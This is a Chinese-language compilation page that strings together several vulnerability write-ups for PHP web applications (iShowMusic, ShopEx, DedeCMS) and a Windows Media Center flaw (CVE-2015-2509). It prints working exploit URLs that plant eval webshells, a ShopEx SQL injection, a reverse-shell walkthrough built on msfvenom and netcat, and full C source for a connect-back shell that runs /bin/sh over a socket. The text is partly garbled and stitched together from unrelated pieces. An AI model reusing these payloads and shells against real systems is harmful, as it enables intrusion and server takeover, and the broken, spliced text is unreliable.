以下是小编整理了iShowMusic V1.2 写入shell漏洞(共含6篇),希望你喜欢,也可以帮助到您,欢迎分享!同时,但愿您也能像本文投稿人“hanchao1225”一样,积极向本站投稿分享好文章。
前几天公布的漏洞了,这几天比较忙,今天才看到,
iShowMusic V1.2 写入shell漏洞
,
刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。
前几天公布的漏洞了,这几天比较忙,今天才看到,刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。
--------
漏洞描述:
iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。在error.php 12-26行PHP代码
elseif ($_POST['action']==“save”){$cknumon && GdConfirm($gdcode);if(emptyempty($id)) {Showmsg(“no”,“你还未选择歌曲呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}elseif(emptyempty($_POST['user'])) {Showmsg(“no”,“你还没写名字呢!”,“返回重新填写”,“javascript.:history.back(-1)”); exit;}else{$user=safeconvert($user);$line=“$user|$songname|$id|$errmsg|$timestamp|n”;$e=“$datadir/error.php”;writetofile($e,$line,“a+”);Showmsg(“yes”,“提交成功,谢谢您的支持!”,“关闭本页”,“javascript.:window.close”); exit;}在global.php 27-34行PHP代码
foreach($_POST as $_key=>$_value){$_POST[$_key]=str_replace(array('|','$','..'),array('|','$','..'),$_POST[$_key]);!ereg(“^_”,$_key) && !$$_key && $$_key=$_POST[$_key];}foreach($_GET as $_key=>$_value){$_GET[$_key]=str_replace(array('|','$','..'),array('|','$','..'),$_GET[$_key]);!ereg(“^_”,$_key) && !$$_key && $$_key=$_GET[$_key];}这段代码是允许在register_globals在off的情况下工作程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.导致失去了这段代码本来的作用.PHP代码
function writetofile($file_name, $data, $method = “w”){$filenum = fopen($file_name, $method);flock($filenum, LOCK_EX);$file_data = fwrite($filenum, $data);fclose($filenum);return $file_data;}这个函数也没有任何过滤就把$data写进去了
<*参考By qiur3n
www.wolvez.org/*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>然后提交一下你就能获得一个shell在www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文件夹改名,呵呵)
ShopEx网上商店平台软件系统又称网店管理系统、网店程序、网上购物系统、在线购物系统,
一:shopex 4.8.5.45144 coreinclude_v5shopCore.php 注入漏洞
coreinclude_v5shopCore.php
01 public function shopCore( )
02 {
03 parent::kernel( );
04 if ( isset( $_POST['spgdif'] ) )
05 {
06 $this->spgdif( ); //进入函数
07 exit( );
08 }
09 ............................
10 }
11 public function spgdif( )
12 {
13 include_once( CORE_DIR.“/func_ext.php” );
14 if ( $_POST['session'] && $_POST['query'] && $_POST['sign'] ) //没任何过滤
15 {
16 if ( md5( $_POST['query'].$_POST['session'].“shopex_stats” ) == $_POST['sign'] ) //MD5 验证,我们可以自己控制。
17 {
18 $cert = $this->loadModel( “service/certificate” );
19 if ( $data = $cert->session_vaild( $_POST['session'] ) )
20 {
21 $this->fetchdata( $_POST['query'] );
22 }
23 ..........................
24 public function fetchdata( $params )
25 {
26 $params = unserialize( $params );
27 $sql = “SELECT ”;
28 foreach ( $params['fields'] as $key => $value )
29 {
30 $sql .= $value['method'].“(”.$value['name'].“)”;
31 if ( $value['alias'] )
32 {33 $sql .= “ as ”.$value['alias']; //代入sql
34 }
35 $sql .= “,”;
36 }
37 $sql = substr( $sql, 0, -1 );
38 $sql .= “ FROM ”.$params['tbl'].“ ”;
39 ...............
40 $db = $this->database( );
41 ob_start( );
42 $data = $db->select( $sql );
43 ob_end_clean( );
44 if ( $data )
45 {
46 echo json_encode( array(
47 “res” => “succ”,
48 “data” => $data //没任何干扰,全部显示出来!(人品好了点,
)
49 ) );
50 }
51 else
52 {
53 echo json_encode( array(
54 “res” => “fail”,
55 “data” => $sql
56 ) );
57 }
58 }
利用代码exp:
exploit.htm
-----
SQL Injection
Vulnerability
O(°…_°…)O…‰¡À' style=“width:150px;height:100px” />
shopex 4.8.5 SQL Injection Vulnerability 0day ”.06.12
By:qing
QQ:33089632
二:shopex 4.8.5.45144 coreinclude_v5crontab.php 远程shell写入漏洞
coreinclude_v5crontab.php (zend加密后的,我只发布解密后的代码)
01 public function run( )
02 {
03 $this->logFile = HOME_DIR.“/logs/access.log.php”;
04 $this->now = time( );
05 $this->viewStat( );
06 $messenger =& $this->loadModel( “system/messenger” );
07 $messenger->runQueue( );
08 }
09
10 public function viewStat( )
11 {
12 if ( !file_exists( $this->logFile ) )
13 {
14 file_put_contents( $this->logFile, “#
15 }
16 if ( isset( $_GET['action'] ) )
17 {
18 error_log( $this->now.”t“.$_GET['action'].”t“.$_GET['p'].”n“, 3, $this->logFile );//没有任何过滤,
利用:
直接提交:127.0.0.1/shopex/?cron=1&action=1&p=1
一句话在:127.0.0.1/shopex/home/logs/access.log.php
0×00 导言
在本文中,我们会简单介绍反向shell和CVE-2015-2509漏洞,最后详细介绍该漏洞的方法,
0×01 反向shell
所谓shell,大家并不陌生,无非就是一个命令行接口罢了。如果把它按平台分类的话,基本上大体可以分为两大类:针对web级别的和针对系统级别的。此外,按照连接方式,分为主动连接和被动连接,主动连接是Bind Shell,被动连接是Reverse Shell,也就是本文所说的反向shell,具体如后文所示。
下面我们来说说主动连接和被动连接的区别。Bind Shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。当远程机器处在防火墙等其它东西后面时,反向shell这种技术会变得非常有用。
许多时候,攻击者入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机了,通俗的说,就是留了一个后门。
0×02CVE-2015-2509漏洞 该漏洞是在 Windows Media Center 中发现的,下面是引自微软公司对该漏洞的介绍:
· 如果 Windows Media Center 打开经特殊设计的引用恶意代码的Media Center link (.mcl)文件此漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。与拥有管理用户权限的客户相比,帐户被配置为拥有较少系统用户权限的客户受到的影响更小。· 如果 Windows Media Center 打开引用了恶意代码的经特殊设计的Media Center 链接 (.mcl)文件则此漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限那帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。· 要利用此漏洞,攻击者必须诱使用户在本地计算机上安装 .mcl 文件。然后,可能从受攻击者控制的位置执行 .mcl 文件引用的恶意代码。此安全更新通过更正处理 Media Center 链接文件的方式来修复该漏洞。
好了,下面开始我们介绍该漏洞的具体利用方法。
0×03 搭建漏洞利用环境下面是本文所要用到的一些必要工具:
• Virtualbox• Kali Linux,运行于Virtualbox之中• Windows 7系统,运行于Virtualbox之中
需要注意的是,在连接Kali 和Windows 7的时候,连接方式应该选择“Host Only Adapter”。
0×04 测试漏洞若想测试该漏洞的话,只需要在Windows系统上打开记事本程序,然后输入下列内容:
然后,保存文件,注意,扩展名应该选择.mcl,也就是说类型为Media Center link (.mcl)文件。
图1:新建名为calc.mcl的文件
对于像作者这样的懒人来说,还有一个更省劲的方法,就是到exploit-db下载一个相应的Python脚本,然后运行它就能得到这个POC文件了,
好了,下面我们聊一聊具体步骤。
这个Python脚本的下载地址为: www.exploit-db.com/exploits/38151/
如果运行这个文件的话,就会生成一个名为Music.mcl的文件,不过其内容跟我们前面用记事本创建的文件是一样一样的。
图2:利用python脚本创建Music.mcl文件
好了,现在我们来运行这个文件,马上会弹出一个计算器,具体如下图所示。
图3:运行calc.mcl
0×05 弹出shell下面,我们介绍如何利用这个漏洞。根据微软的说法,要利用此漏洞,攻击者必须诱使用户在本地计算机上安装 .mcl 文件。然后,可能从受攻击者控制的位置执行 .mcl 文件引用的恶意代码。
这是成功利用这个漏洞所需的具体步骤:
1. 攻击者必须创建一个恶意的可执行文件;2. 这个文件必须能够通过UNC路径供恶意mcl文件下载;3. 创建一个恶意的.mcl文件,然后将其发送给受害者;4. 建立一个侦听程序;5. 当受害者打开这个.mcl文件时,我们就会得到一个shell。
因此,首先要做的就是在我们的机器上创建一个恶意文件,并且使其能够通过UNC路径访问,这样的话,我们的恶意mcl文件才能下载它,并且在它被执行时返回一个反向shell。
需要注意的是,为了创建返回反向shell的恶意可执行文件,我们可以使用msfvenom的“windows/shell_reverse_tcp”有效荷载,它会侦听443端口。
此外,我还在自己的机器上(用来发动攻击的那台)创建了一个SMB共享文件。
下面展示的是将要传递给受害者的exploit.mcl文件的最终版本。
我们需要设法将这个exploit.mcl投送到被害者手里,并想办法让他打开这个文件。
配置Netcat使其侦听443端口,因为我们的有效荷载使用的就是这个端口。
图4:令Netcat侦听443端口
完成上述工作后,打开exploit.mcl文件,如下图所示。
图5:运行exploit.mcl文件
这样的话,就会在我们的Windows系统上得到一个反向shell,如下图所示。
图6:得到的反向shell
我们得到的shell所具备的权限,完全等同于该登录用户所具备的权限,就本例而言,为Administrator权限。
除了Netcat之外,我们还可以使用任何其他侦听程序,这就要看你们自己的喜好了。如果你喜欢Metasploit的话,则需要按下列步骤进行操作。
图7:利用Metasploit侦听程序收到的反向shell
如果你不喜欢Netcat的明文通信方式,那么可以选择使用ncat。
图8:使用ncat侦听程序收到的反向shell
#include
#include
#include
#include
#include
#include
#include
void usage;
char shell[]=”/bin/sh“;
char message[]=”s8s8 welcomen“;
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf(”Couldn't make socket!n“); exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf(”Could not connect to remote shell!n“);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,”/bin/sh“,(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf(”tts8s8 connect back doornn“);
printf(”t sql@s8s8.netnn“);
printf(”Usage: %s n“, prog);
exit(-1);
}
gcc -o f f.c
再在本机上监听一个端口
nc -l -p 8888
再执行./f 192.168.1.14 8888
注:反弹回来的 shell没提示符,
linux 反弹shell漏洞预警
,
style=”display:block;padding:0px 10px;“ class=”ContentFont“>
最早见于groups.google.com/group/ph4nt0m/t/357dbcd7711f1864
经过研究发现,可以很方便的写入一个小马,前提是服务器开放会员系统,而且有图书连载里有类别。
漏洞代码如下:
includeinc_bookfunctions.php
function WriteBookText($cid,$body)
{
global $cfg_cmspath,$cfg_basedir;
$ipath = $cfg_cmspath.”/data/textdata“;
$tpath = ceil($cid/5000);
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
$bookfile = $cfg_basedir.$ipath.”/{$tpath}/bk{$cid}.php“;
$body = ”<“.”?phprn“.$body.”rn?“.”>“;
@$fp = fopen($bookfile,'w');
@flock($fp);
@fwrite($fp,$body);
@fclose($fp);
}
memberstory_add_content_action.php
WriteBookText($arcID,addslashes($body));
可以看到,只是用addslashes进行了转义,
但是$body = ”<“.”?phprn“.$body.”rn?“.”>";很明显可以写入一个小马的。呵呵。
利用方法
www.target.com/member/story_add_content_action.php?body=eval($_POST[c]);&chapterid=1
这样就在datatextdata目录下生成小马。 默认为datatextdata1bk1.php
★ udev漏洞提升
★ 漏洞整改报告